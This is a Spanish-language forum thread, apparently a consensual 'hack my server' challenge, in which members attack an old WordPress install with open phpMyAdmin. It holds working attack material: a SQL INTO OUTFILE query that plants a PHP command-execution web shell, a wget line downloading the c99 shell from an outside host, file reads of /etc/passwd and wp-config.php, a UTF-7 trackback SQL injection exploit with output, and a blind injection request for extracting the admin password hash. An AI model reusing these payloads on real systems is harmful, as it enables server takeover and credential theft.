  10. $upload_error_handler = 'wp_handle_upload_error';
  11.  
  12. // $_POST['action'] must be set and its value must equal $overrides['action'] or this:
  13. $action = 'wp_handle_upload';
  14.  
  15. // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
  16. $upload_error_strings = array(false,
  17. __("The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>."),
  18. __("The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form."),
  19. __("The uploaded file was only partially uploaded."),
  20. __("No file was uploaded."),
  21. __("Missing a temporary folder."),
  22. __("Failed to write file to disk."));
  23.  
  24. // Accepted MIME types are set here as PCRE. Override with $override['mimes'].
  25. $mimes = apply_filters('upload_mimes', array (
  26. 'jpg|jpeg|jpe' => 'image/jpeg',
  27. 'gif' => 'image/gif',
  28. 'png' => 'image/png',
  29. 'bmp' => 'image/bmp',
  30. 'tif|tiff' => 'image/tiff',
  31. 'ico' => 'image/x-icon',
  32. 'asf|asx|wax|wmv|wmx' => 'video/asf',
  33. 'avi' => 'video/avi',
  34. 'mov|qt' => 'video/quicktime',
  35. 'mpeg|mpg|mpe' => 'video/mpeg',
  36. 'txt|c|cc|h' => 'text/plain',
  37. 'rtx' => 'text/richtext',
  38. 'css' => 'text/css',
  39. 'htm|html' => 'text/html',
  40. 'mp3|mp4' => 'audio/mpeg',
  41. 'ra|ram' => 'audio/x-realaudio',
  42. 'wav' => 'audio/wav',
  43. 'ogg' => 'audio/ogg',
  44. 'mid|midi' => 'audio/midi',
  45. 'wma' => 'audio/wma',
  46. 'rtf' => 'application/rtf',
  47. 'js' => 'application/javascript',
  48. 'pdf' => 'application/pdf',
  49. 'doc' => 'application/msword',
  50. 'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
  51. 'wri' => 'application/vnd.ms-write',
  52. 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
  53. 'mdb' => 'application/vnd.ms-access',
  54. 'mpp' => 'application/vnd.ms-project',
  55. 'swf' => 'application/x-shockwave-flash',
  56. 'class' => 'application/java',
  57. 'tar' => 'application/x-tar',
  58. 'zip' => 'application/zip',
  59. 'gz|gzip' => 'application/x-gzip',
  60. 'exe' => 'application/x-msdownload'
  61. ));
  62.  
  63. // All tests are on by default. Most can be turned off by $override[{test_name}] = false;
  64. $test_form = true;
  65. $test_size = true;
  66.  
  67. // If you override this, you must provide $ext and $type!!!!
  68. $test_type = true;
  69.  
  70. // Install user overrides. Did we mention that this voids your warranty?
  71. if ( is_array($overrides) )
  72. extract($overrides, EXTR_OVERWRITE);
  73.  
  74. // A correct form post will pass this test.
  75. if ( $test_form && (!isset($_POST['action']) || ($_POST['action'] != $action)) )
  76. return $upload_error_handler($file, __('Invalid form submission.'));
  77.  
  78. // A successful upload will pass this test. It makes no sense to override this one.
  79. if ( $file['error'] > 0 )
  80. return $upload_error_handler($file, $upload_error_strings[$file['error']]);
  81.  
  82. // A non-empty file will pass this test.
  83. if ( $test_size && !($file['size'] > 0) )
  84. return $upload_error_handler($file, __('File is empty. Please upload something more substantial.'));
  85.  
  86. // A properly uploaded file will pass this test. There should be no reason to override this one.
  87. if (! @ is_uploaded_file($file['tmp_name']) )
  88. return $upload_error_handler($file, __('Specified file failed upload test.'));
  89.  
  90. // A correct MIME type will pass this test.
  91. if ( $test_type ) {
  92. $type = false;
  93. $ext = false;
  94. foreach ($mimes as $ext_preg => $mime_match) {
  95. $ext_preg = '![^.]\.(' . $ext_preg . ')$!i';
  96. if ( preg_match($ext_preg, $file['name'], $ext_matches) ) {
  97. $type = $mime_match;
  98. $ext = $ext_matches[1];
  99. }
  100. }
  101.  
  102. if ( !$type || !$ext )
  103. return $upload_error_handler($file, __('File type does not meet security guidelines. Try another.'));
  104. }
  105.  
  106. // A writable uploads dir will pass this test. Again, there's no point overriding this one.
  107. if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
  108. return $upload_error_handler($file, $uploads['error']);
  109.  
  110. // Increment the file number until we have a unique file to save in $dir. Use $override['unique_filename_callback'] if supplied.
  111. if ( isset($unique_filename_callback) && function_exists($unique_filename_callback) ) {
  112. $filename = $unique_filename_callback($uploads['path'], $file['name']);
  113. } else {
  114. $number = '';
  115. $filename = str_replace('#', '_', $file['name']);
  116. $filename = str_replace(array('\\', "'"), '', $filename);
  117. if ( empty($ext) )
  118. $ext = '';
  119. else
  120. $ext = ".$ext";
  121. while ( file_exists($uploads['path'] . "/$filename") ) {
  122. if ( '' == "$number$ext" )
  123. $filename = $filename . ++$number . $ext;
  124. else
  125. $filename = str_replace("$number$ext", ++$number . $ext, $filename);
  126. }
  127. }
  128.  
  129. // Move the file to the uploads dir
  130. $new_file = $uploads['path'] . "/$filename";
  131. if ( false === @ move_uploaded_file($file['tmp_name'], $new_file) )
  132. die(printf(__('The uploaded file could not be moved to %s.'), $file['path']));
  133.  
  134. // Set correct file permissions
  135. $stat = stat(dirname($new_file));
  136. $perms = $stat['mode'] & 0000777;
  137. @ chmod($new_file, $perms);
  138.  
  139. // Compute the URL
  140. $url = $uploads['url'] . "/$filename";
  141.  
  142. return array('file' => $new_file, 'url' => $url, 'type' => $type);
  143. }
  144.  
  145.  
  146.  


Mi upload muere en : die(printf(__('The uploaded file could not be moved to %s.'),$file['path']));

Devolviendo como string un .
Es decir : "The uploaded file could not be moved to  ."

Intento desde /wp-admin/link-import.php

Modifico el MAX_FILE_SIZE ,que es un input type="hidden",para poder subir mi shell que tiene mas tamaño.

A ver si alguno se le cae alguna idea de como pasar desde ahi , y tendriamos un bypass al uploader de wordpress.


¿No creo que haya permisos en la carpeta de upload o si? Si es así creo que puedo poner una shell. Según tengo entendido todo el directorio de www esta sin permisos de escritura, solo de lectura y ejecución.


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 19:23 pm
Es que lo mas gracioso de todo es que la carpeta /uploads no existe xD
Código
  1. http://host.net/wp-content/uploads/

Saludos


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 19:30 pm
No hay permisos de escritura en la carpeta upload tampoco, lo acaba de probar, trate de hacer un post y esto fue lo que me dijo:

The uploaded file could not be moved to .

Aunque bien puede ser que no exista la carpeta uploads o que haya un .htaccess denegando xD.


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 19:42 pm
"tonto" jejeje

Teniendo la pass de admin, ¿no se pueden crear directorios y tal? O sea, crear la carpeta upload y todo eso... ¿o eso se hace sólo desde el server con algún programa de los que se usan?

Disculpen mi ignorancia :/


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 19:44 pm
"tonto" jejeje

Teniendo la pass de admin, ¿no se pueden crear directorios y tal? O sea, crear la carpeta upload y todo eso... ¿o eso se hace sólo desde el server con algún programa de los que se usan?

Disculpen mi ignorancia :/

Esa pass la ha puesto yo xD así que dudo mucho que haya otro servicio con esa password xDDD. Alguien cambio la password original de todos modos, así que no podemos saber si la pass original servia para otras cosas.


Título: Re: Hack my server II
Publicado por: Baal_30 en 1 Agosto 2014, 19:48 pm
jaja pues si tuvieramos la pass original quizás serviría para otras cosas... pero bueno, entrando con la cuenta de admin y esa pass no se puede hacer lo que necesitamos ¿?


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 20:09 pm
Buenas


Algo de progreso...

/etc/passwd - sin contraseñas :(
Código
  1. root:x:0:0:root:/root:/bin/bash
  2. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  3. bin:x:2:2:bin:/bin:/bin/sh
  4. sys:x:3:3:sys:/dev:/bin/sh
  5. sync:x:4:65534:sync:/bin:/bin/sync
  6. games:x:5:60:games:/usr/games:/bin/sh
  7. man:x:6:12:man:/var/cache/man:/bin/sh
  8. lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  9. mail:x:8:8:mail:/var/mail:/bin/sh
  10. news:x:9:9:news:/var/spool/news:/bin/sh
  11. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  12. proxy:x:13:13:proxy:/bin:/bin/sh
  13. www-data:x:33:33:www-data:/var/www:/bin/sh
  14. backup:x:34:34:backup:/var/backups:/bin/sh
  15. list:x:38:38:Mailing List Manager:/var/list:/bin/s...
  16. irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  17. gnats:x:41:41:Gnats Bug-Reporting System (admin):/...
  18. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  19. libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  20. fetchmail:x:101:65534::/var/lib/fetchmail:/bin/fal...
  21. sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
  22. syslog:x:103:106::/home/syslog:/bin/false
  23. klog:x:104:107::/home/klog:/bin/false
  24. bind:x:105:109::/var/cache/bind:/bin/false
  25. smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/se...
  26. smmsp:x:107:111:Mail Submission Program,,,:/var/li...
  27. landscape:x:108:112::/var/lib/landscape:/bin/false
  28. mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/.

Saludos


Título: Re: Hack my server II
Publicado por: dimitrix en 1 Agosto 2014, 20:15 pm
Please, explica como llegaste hasta ahi :-)


Título: Re: Hack my server II
Publicado por: xustyx en 1 Agosto 2014, 20:22 pm
Buenas


Algo de progreso...

/etc/passwd - sin contraseñas :(
Código
  1. root:x:0:0:root:/root:/bin/bash
  2. daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  3. bin:x:2:2:bin:/bin:/bin/sh
  4. sys:x:3:3:sys:/dev:/bin/sh
  5. sync:x:4:65534:sync:/bin:/bin/sync
  6. games:x:5:60:games:/usr/games:/bin/sh
  7. man:x:6:12:man:/var/cache/man:/bin/sh
  8. lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  9. mail:x:8:8:mail:/var/mail:/bin/sh
  10. news:x:9:9:news:/var/spool/news:/bin/sh
  11. uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  12. proxy:x:13:13:proxy:/bin:/bin/sh
  13. www-data:x:33:33:www-data:/var/www:/bin/sh
  14. backup:x:34:34:backup:/var/backups:/bin/sh
  15. list:x:38:38:Mailing List Manager:/var/list:/bin/s...
  16. irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  17. gnats:x:41:41:Gnats Bug-Reporting System (admin):/...
  18. nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  19. libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  20. fetchmail:x:101:65534::/var/lib/fetchmail:/bin/fal...
  21. sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
  22. syslog:x:103:106::/home/syslog:/bin/false
  23. klog:x:104:107::/home/klog:/bin/false
  24. bind:x:105:109::/var/cache/bind:/bin/false
  25. smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/se...
  26. smmsp:x:107:111:Mail Submission Program,,,:/var/li...
  27. landscape:x:108:112::/var/lib/landscape:/bin/false
  28. mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/.

Saludos


Usando el interprete sql de phpmyadmin
select load_file("/etc/passwd") from dual

Yo llevo rato leyendo files para ver si descubro algun path... he estado mirando por los *.conf de apache pero no encuentro nada pa pillar el path de la web.....


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 20:24 pm
Perdon xD

Bueno, tenemos acceso a PHPMyAdmin como root, tenemos todos los privilegios, esto lo podemos ver usando la pestaña Users de PHPMyAdmin.

root    127.0.0.1    No    ALL PRIVILEGES    Yes

Sabiendo esto, sabemos que tenemos acceso a funciones como LOAD DATA o DUMPFILE.

Por tanto, podemos crear una tabla, y usar LOAD DATA para ver el contenido de ficheros a los que tenemos acceso.

Código
  1. LOAD DATA INFILE '/etc/passwd' INTO TABLE BaseDeDatos.tabla;


PD: @xustyx has mirado el directorio de webmin ? Yo es que no lo encuentro por ninguna parte xD


PD2: He vuelto a poner la contraseña original del usuario admin de WP (aclaro que no fui yo el que la cambio).  Para quitaros trabajo inútil:
 a7c85c1a6114797d06425195899a8abe = 2bc11f

PD3: El directorio de webmin es /usr/share/webmin

Saludos


Título: Re: Hack my server II
Publicado por: daryo en 1 Agosto 2014, 20:34 pm
aun se puede pedir la ip ? jeje


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 20:42 pm
Yo siempre pense que passwd no tenia permisos de lectura... pero parece ser que todo mundo puede ver passwd xD tiene permisos 644 por default en mi Debian.

Al parecer puedo correr código en PHP pero ni idea de que hacer, no puedo escribir a archivos y estoy limitado a lo que www-data puede hacer xD.


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 20:50 pm
Por lo visto nadie le ha tomado encuenta al wordpress, solo he visto nmap y accesos via server y phpmyadmin pero nada del wordpress instalado.

Esa version de wordpress es un 2.0 Realse candidate y se puede saber mirando el código fuente de la pagina principal:

Código:
<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->

Al buscar la version en internet verás que hay muchos CVE-IDs con muchos agujeros, hay dos inyecciones sql, una subida arbitraria de archivos y muchos xss y xsrf, pero lo que mas importa son las inyecciones sql y la subida remota de archivos.

CVE-IDs:
http://www.cvedetails.com/version/80039/Wordpress-Wordpress-2.0.1.html

Yo me estoy enfocando en el CVE-ID: CVE-2009-2334 del cual encontré información directa y oficial acá:
http://www.openwall.com/lists/oss-security/2009/08/04/5

Fuí a la referencia de Wordpress y vi los diff de los archivos:
https://core.trac.wordpress.org/changeset/11769

Con esto me di cuenta que podias modificar links sin ser admin asi que reviso el código fuente de mi archivo objetivo: edit-link-form.php
https://core.trac.wordpress.org/browser/branches/2.8/wp-admin/edit-link-form.php?rev=11769

El problema es que no se despliega el contenido ni sirven las acciones en el archivo. Será que la versión es un fake? no quiero entrar al phpmyadmin para ver la version de wordpress o si no se pierde toda la gracia de hacer un hackeo de verdad.


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 21:03 pm
Definitivamente no es wordpress 2.0 RC, las hojas de estilo son distintas a las del tracker y tampoco estan todos los archivos php que se supone debieran estar. Ahora el trabajo es averiguar la version exacta para poder buscar el factor de ataque.

Edito:
http://web.com/readme.html

Es 2.0 sin RC como aparece en la cabecera, lo mas probable es que era un fake o alguien hechó a correr el archivo /wp-admin/upgrade.php y lo actualizó a la version estable y se fueron la mayoría de los agujeros.

Dimitrix, deshabilitaste las actualizaciones?


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 21:08 pm
El servidor está configurado para mostrar directorios sin indices, revisé el directorio de plugins para ver si habia alguno defectuoso y encontré esto:

http://vps84472.ovh.net/wp-content/plugins/

Código:
[DIR]	akismet/	2014-07-31 20:05 	- 	 
[ ] hello.php 2005-08-07 10:30 2.0K
[ ] wp-db-backup.php 2006-01-17 00:51 30K

wp-db-backup.php ?? por ahi debe estar dando vueltas una backup del sitio y lo mas probable es que esté con la db y el hash del admin y desde ahi comenzar a escalar hacia el servidor.

Edito: el plugin tiene directory traversal:
http://downloads.securityfocus.com/vulnerabilities/exploits/wordpress-wp-db-backup-dirtrav.html


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 21:09 pm
Por lo visto nadie le ha tomado encuenta al wordpress, solo he visto nmap y accesos via server y phpmyadmin pero nada del wordpress instalado.

Esa version de wordpress es un 2.0 Realse candidate y se puede saber mirando el código fuente de la pagina principal:

Código:
<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->

Al buscar la version en internet verás que hay muchos CVE-IDs con muchos agujeros, hay dos inyecciones sql, una subida arbitraria de archivos y muchos xss y xsrf, pero lo que mas importa son las inyecciones sql y la subida remota de archivos.

CVE-IDs:
http://www.cvedetails.com/version/80039/Wordpress-Wordpress-2.0.1.html

Yo me estoy enfocando en el CVE-ID: CVE-2009-2334 del cual encontré información directa y oficial acá:
http://www.openwall.com/lists/oss-security/2009/08/04/5

Fuí a la referencia de Wordpress y vi los diff de los archivos:
https://core.trac.wordpress.org/changeset/11769

Con esto me di cuenta que podias modificar links sin ser admin asi que reviso el código fuente de mi archivo objetivo: edit-link-form.php
https://core.trac.wordpress.org/browser/branches/2.8/wp-admin/edit-link-form.php?rev=11769

El problema es que no se despliega el contenido ni sirven las acciones en el archivo. Será que la versión es un fake? no quiero entrar al phpmyadmin para ver la version de wordpress o si no se pierde toda la gracia de hacer un hackeo de verdad.


Ese no lo habia visto, no lo categorizan como 2.0.1 rc1, lo ponen como 2.0.1 pero me imagino que es lo mismo o sin verificar en la RC1 xD.

Yo ya probe este:

http://www.cvedetails.com/cve/CVE-2010-4257/

Y funciona perfectamente. Pero le voy a dar una ojeada a los que aparecen como 2.0.1 porque los que yo veia eran estos:

http://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/version_id-80039/Wordpress-Wordpress-2.0.1.html



Título: Re: Hack my server II
Publicado por: dRak0 en 1 Agosto 2014, 21:12 pm
Perdon , es 2.0.1 RC 1 . Me baje el source de la pagina oficial de wordpress y el readme dice 2.0 . Lee 3 paginas atras que estuvimos discutiendo sobre entrar por wordpress.


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 21:26 pm
Perdon , es 2.0.1 RC 1 . Me baje el source de la pagina oficial de wordpress y el readme dice 2.0 . Lee 3 paginas atras que estuvimos discutiendo sobre entrar por wordpress.

Tienes razón.

Estaba probando con http://downloads.securityfocus.com/vulnerabilities/exploits/wordpress_utf7_sqlinj_poc.txt y parece funcionar bien, solo que me falta el id de usuario del admin porque no es 1 y tampoco indica el id del posteador en las paginas.

Código:
me@Machine:~/Escritorio$ python *.py -h http://web.com/ -p 1 -i -1
Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit
Copyright (C) 2006 Stefan Esser/Hardened-PHP Project
            *** DO NOT DISTRIBUTE ***

[+] Connecting to check if mbstring is installed
[+] ext/mbstring is installed. continue with exploit
[+] Connecting to retrieve cookie hash
[+] Cookie hash found: 8d4624f99fb1f186b54020ddb0449012
[+] Connecting to lock trackbacks
[+] Connecting to determine mysql table prefix
[+] Table prefix is: wp_
[+] Connecting to check if user admin is present
[-] Error user_id invalid

Por lo menos ya se que el prefix es wp_ para efectos de inyección sql. Veré si puedo hacer la inyección manualmente via UTF-7.


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 21:32 pm
El ID es 1, hay usuarios del 1 al 7. WHK, el tienes el PHPMyADMIN desprotegido para lanzar cualquier SQL xD, el wp-config.php

db_user = 'root';
db_password = '';
db_name = 'hackme2';
db_prefix = 'wp_';

Saludos


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 21:38 pm
nopues, la idea es no entrar al phpmyadmin o si no te pierdes de la emoción xD cualquiera puede escribir phpmyadmin en la url, la idea es entrar hackeando el sitio :p

Hice una petición post manualmente:

Código:
Me@Machine:~/Escritorio$ nc -v web.com 80
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

charset=UTF-7&title=None&url=None&excerpt=None&blog_name=%2bACc-

el WP devuelve la consulta SQL inyectada:
Código:
Connection to wrb.com 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Date: Fri, 01 Aug 2014 19:36:18 GMT
Server: Apache/2.4.6 (Ubuntu)
X-Powered-By: PHP/5.5.3-1ubuntu2.6
X-Pingback: http://web.com/xmlrpc.php
Status: 200 OK
Vary: Accept-Encoding
Content-Length: 1359
Connection: close
Content-Type: text/xml; charset=UTF-8

<div id='error'>
<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL' ) AND comment_content = '<strong>None...</strong>

None...' LIMIT 1' at line 1]<br />
<code>SELECT comment_ID FROM wp_comments WHERE comment_post_ID = '1' AND ( comment_author = ''ILLEGAL' ) AND comment_content = '<strong>None...</strong>

None...' LIMIT 1</code></p>
</div><div id='error'>
<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-0' at line 4]<br />
<code>INSERT INTO wp_comments
(comment_post_ID, comment_author, comment_author_email, comment_author_url, comment_author_IP, comment_date, comment_date_gmt, comment_content, comment_approved, comment_agent, comment_type, comment_parent, user_id)
VALUES
('1', ''ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-01 19:36:18', '<strong>None...</strong>

None...', '0', '', 'trackback', '0', '0')
</code></p>
</div><?xml version="1.0" encoding="utf-8"?>
<response>
<error>0</error>


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 21:42 pm
El ID es 1, hay usuarios del 1 al 7. WHK, el tienes el PHPMyADMIN desprotegido para lanzar cualquier SQL xD, el wp-config.php

db_user = 'root';
db_password = '';
db_name = 'hackme2';
db_prefix = 'wp_';

Saludos

¿El wp_config.php lo puedes ver usando el infile? :O

Por cierto el exploit en python lo estoy probando y como quiera no regresa el hash xD


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 21:47 pm
¿El wp_config.php lo puedes ver usando el infile? :O

Se..

Código
  1. <?php
  2. // ** MySQL settings ** //
  3. define('DB_NAME', 'hackme2');    // The name of th...
  4. define('DB_USER', 'root');     // Your MySQL usern...
  5. define('DB_PASSWORD', ''); // ...and password
  6. define('DB_HOST', 'localhost');    // 99% chance y...
  7.  
  8. // You can have multiple installations in one data...
  9. $table_prefix  = 'wp_';   // Only numbers, letters...
  10.  
  11. // Change this to localize WordPress.  A correspon...
  12. // chosen language must be installed to wp-include...
  13. // For example, install de.mo to wp-includes/langu...
  14. // to enable German language support.
  15. define ('WPLANG', '');
  16.  
  17. /* That's all, stop editing! Happy blogging. */
  18.  
  19. define('ABSPATH', dirname(__FILE__).'/');
  20. require_once(ABSPATH.'wp-settings.php');
  21. ?>

Saludos


Título: Re: Hack my server II
Publicado por: #!drvy en 1 Agosto 2014, 21:52 pm
@MinusFour como conseguiste ejecutar PHP ?

Saludos


Título: Re: Hack my server II
Publicado por: WHK en 1 Agosto 2014, 22:01 pm
aca va la inyeccion sql que estoy probando:

Código:
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users limit 1 -- -

Funciona para el select pero para el insert da error, hay que intentar provocar un error forzado como un cast a la columna para que arroje el hash del admin y desde ahi loguear y hacer el directory traversal y comenzar a elevar y ejecutar código. Recuerden que como admin pueden ejecutar código editando una plantilla a pesar de que esta no se guarde con la previsualización, aparte de la ejecución de código en varis archivos extras y desde ahi intentar ejecutar un system y desde ahi elevar privilegios escaneando archivos con permisos de root que puedan ser sobreescribibles (igual como lo hace la c99 shell).

Debo irme a mi casa, adios.


Título: Re: Hack my server II
Publicado por: MinusFour en 1 Agosto 2014, 22:06 pm
@MinusFour como conseguiste ejecutar PHP ?

Saludos

No lo he podido lograr todavía, por alguna razón no escapa las comillas xD.

Pero está esto:

http://blog.sjinks.pro/wordpress/858-information-disclosure-via-sql-injection-attack/

Por cierto WHK te dejaste la IP en tus logs.

Edit: Noup, por más que lo intento las comillas las escapan y las imprimen, así que me imagino que esa vulnerabilidad no puede ejecutar código php.


Título: Re: Hack my server II
Publicado por: dimitrix en 2 Agosto 2014, 00:08 am
Carpeta con permisos de escritura, lista!


Título: Re: Hack my server II
Publicado por: WIитX en 2 Agosto 2014, 00:10 am
aca va la inyeccion sql que estoy probando:

Código:
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users limit 1 -- -

Funciona para el select pero para el insert da error, hay que intentar provocar un error forzado como un cast a la columna para que arroje el hash del admin y desde ahi loguear y hacer el directory traversal y comenzar a elevar y ejecutar código. Recuerden que como admin pueden ejecutar código editando una plantilla a pesar de que esta no se guarde con la previsualización, aparte de la ejecución de código en varis archivos extras y desde ahi intentar ejecutar un system y desde ahi elevar privilegios escaneando archivos con permisos de root que puedan ser sobreescribibles (igual como lo hace la c99 shell).

Debo irme a mi casa, adios.

Que asco dais D: iros de aquí eso no vale ABUSONES!!  :-(


 :P


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 00:17 am
Carpeta con permisos de escritura, lista!

¿Entonces ahora podemos escribir en /var/www?

¿No quieres poner una carpeta de uploads con permisos de escritura o cambiar la carpeta de themes y dejarla como de escritura? :)


Título: Re: Hack my server II
Publicado por: dimitrix en 2 Agosto 2014, 00:20 am
Citar
¿Entonces ahora podemos escribir en /var/www?

¿No quieres poner una carpeta de uploads con permisos de escritura o cambiar la carpeta de themes y dejarla como de escritura


No. Sólo la carpeta uploads de WP...


Título: Re: Hack my server II
Publicado por: xustyx en 2 Agosto 2014, 00:30 am
Ya he copiado un un acceso a la shell

-> c.php?cmd=

SELECT '<?php if(isset($_REQUEST[\"cmd\"])){ $cmd = ($_REQUEST[\"cmd\"]);system($cmd);die;}?>'
INTO OUTFILE  '/var/www/wp-content/uploads/c.php'


Título: Re: Hack my server II
Publicado por: dimitrix en 2 Agosto 2014, 00:36 am
Como subiste la Shell? :-)


Título: Re: Hack my server II
Publicado por: dRak0 en 2 Agosto 2014, 00:37 am
dimitrix , saca los permisos ... Danos un poco mas de tiempo. Ando en algo. Dejalo sin permisos.


Título: Re: Hack my server II
Publicado por: dimitrix en 2 Agosto 2014, 00:44 am
dimitrix , saca los permisos ... Danos un poco mas de tiempo. Ando en algo. Dejalo sin permisos.

Tranquilo, sólo puse el WP como tenía que estar, nada más xD

De ahí a que escalen...


Título: Re: Hack my server II
Publicado por: xustyx en 2 Agosto 2014, 00:46 am
Pues a sido un poco lamer por que como esta el phpmyadmin abierto y puediendo meter sql a saco es facil.

Nada mas decir que has dado una carpeta con files he pensado en varias y ma dao por buscar la famosa uploads que no existia y de repente lista.

Despues desde phpmyadmin he metido la siguiente select:
Código
  1. SELECT '<?php if(isset($_REQUEST[\"cmd\"])){ $cmd = ($_REQUEST[\"cmd\"]);system($cmd);die;}?>'
  2. INTO OUTFILE  '/var/www/wp-content/uploads/c.php'

Lo que hace es crear un fichero php con el siguiente contenido:
Código
  1. <?php
  2. if(isset($_REQUEST["cmd"])){
  3.   $cmd = ($_REQUEST["cmd"]);
  4.   system($cmd);
  5.   die;
  6. }
  7. ?>
  8.  

Y nada una cmd, que podria haber sido una c99 codeada o lo que quisiera... pero claro con phpmyadmin abierto y permisos de escritura.

Pero bueno antes de que pusieras permisos me tirao un rato intentando colar la libreria UDF pero no ha habido suerte... he creado las funciones base64 y copiado a tmp el lib*.so para despues intentar como pudiese apuntar que la carpeta de plugins de mysql fuera tmp pero nada :(


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 00:53 am
Vamos, no era necesario subir una shell para acceder al sistema y ejecutar código, solo con el wordpress como está lo puedes hacer, de hecho nunca fue necesario ponerle un phpmyadmin, bastaba con las mismas fallas del wordpress, al ponerle ses phpmyadmin mataste la emoción.


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 00:56 am
Que asco dais D: iros de aquí eso no vale ABUSONES!!  :-(


 :P

jajajajaja esque a veces uno se aburre pos xD


Título: Re: Hack my server II
Publicado por: xustyx en 2 Agosto 2014, 01:02 am
Vamos, no era necesario subir una shell para acceder al sistema y ejecutar código, solo con el wordpress como está lo puedes hacer, de hecho nunca fue necesario ponerle un phpmyadmin, bastaba con las mismas fallas del wordpress, al ponerle ses phpmyadmin mataste la emoción.

Yaps por eso digo... pero si en teoria con las iSql de wordpress tambien se podria haber realizado. (O cualquier cosa que permitiese escribir).

PD: Alguien ha sufrido estress despues de utilizar un puto teclao peor que el de una blackberry?


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 01:05 am
Puff, todo por el SQL xD y yo buscando donde colarme en el wordpress LOL.


Título: Re: Hack my server II
Publicado por: dRak0 en 2 Agosto 2014, 01:12 am
Borra los permisos y la shell. Se va la gracia sino. Igual , aprendi algo nuevo , lo cual era el objetivo de esto.


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 01:12 am
Estoy obteniendo el hash con la clave del primer usuario de la tabla de usuarios caracter por caracter:

Código:
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 139

charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBTRING(user_pass, 1, 1)="a" limit 1 -- -

Luego cambio la letra "a" por "b", c d e f g h i, etc, hasta obtener el hash completo ya que cuando el select está bien muestra un mensaje que dice que el post está duplicado pero cuando hay un error el script continua y aparece un error de sql sobre el insert :D asi que con substring puedes ir devolviendo verdadero o falso cuando encuentres un carácter válido en el hash de la contraseña, luego a loguearse y luego a ejecutar el código arbitrario o usar la librería de backups vulnerable del wordpress para obtener datos sensibles.

PD: php usa magic quotes, por eso no funcionan las inyecciones con comillas, para evadir eso usamos concat() y char().


Título: Re: Hack my server II
Publicado por: MinusFour en 2 Agosto 2014, 01:45 am
Como evades las magic quotes con concat() y char()???

Creo que es lo único que me haría falta para subir la shell lol..

El servidor tiene el puerto 80 hacia afuera abierto, puedo usar wget.

Monte una shell ahí con:

Código:
wget http://www.c99txt.net/s/c99.txt -P /var/www/wp-content/uploads -O c99.php

Así que pues ahí esta la shell en http://web/wp-content/uploads/c99.php. Utilize el script de c.php que habían puesto ahí... y yo se que hubiera sido más fácil si hubiera hecho el query pero así si encuentro como explotar la otra vulnerabilidad no hubiese necesidad de usar el SQL xD.


Título: Re: Hack my server II
Publicado por: WHK en 2 Agosto 2014, 01:49 am
